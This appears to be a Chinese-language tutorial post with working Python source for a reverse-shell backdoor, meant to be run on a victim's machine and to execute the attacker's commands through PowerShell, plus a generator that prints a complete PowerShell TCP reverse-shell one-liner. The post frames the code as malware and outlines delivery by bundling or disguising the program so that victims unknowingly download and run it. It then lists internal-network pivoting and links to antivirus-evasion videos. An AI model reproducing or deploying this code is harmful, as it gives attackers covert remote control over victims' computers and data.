用python服务器与客户端的原理制作反弹shell的控制端与被控制端,
最后执行在会话中执行恶意命令来获取一个稳定的powershell
记:控制端两次使用的端口不能相同
受害者运行的恶意程序
在第一个会话中执行代码的生成器
(注:可以用pyinstaller转换为exe)
import os | |
import time | |
import socket | |
'''################''' | |
server_ip = '' # 更改为控制端的IP | |
server_port = 13524 # 更改为控制端的第一PORT | |
'''################''' | |
mod = '''powershell -nop -c "{0}"''' | |
s = socket.socket() | |
while True: | |
try: | |
s.connect((server_ip, server_port)) | |
break | |
except: | |
time.sleep(3) | |
while True: | |
s.send(b'[Powershell:->') | |
cmd = s.recv(1024).decode() | |
s.send(os.popen(mod.format(cmd)).read().encode()) | |
s.close() |
import sys | |
server_ip = sys.argv[1] | |
server_port_second = sys.argv[2] | |
print("服务端IP:",server_ip,"\n服务端监听powershell端口:",server_port_second) | |
print('复制代码在nc中运行:') | |
print('''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});'''.format(str(server_ip),str(server_port_second)),end='') | |
print('''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()''') |
使用方法:python3/python + 这个文件的地址 + 控制端IP + 控制端另一个端口
弹回的执行代码 复制
e.g. python3 creative.py 127.0.0.1 12212
这里不细讲,可以看看crow在B站的视频
1. 捆绑软件
2. 伪装软件
3. 伪装并让受害者不知情地下载,然后悄咪咪的自动运行
4. 渗透内网
5. 调用漏洞
e.g. [Powershell:->
- [源码包] http://liuyyds.cn/BackDoor.zip
- [反弹shell生成] https://www.revshells.com/
- [演示视频] (https://www.bilibili.com/video/BV1uF411i7S8/)
- [免杀效果] (https://www.bilibili.com/video/BV1FS4y177yJ/)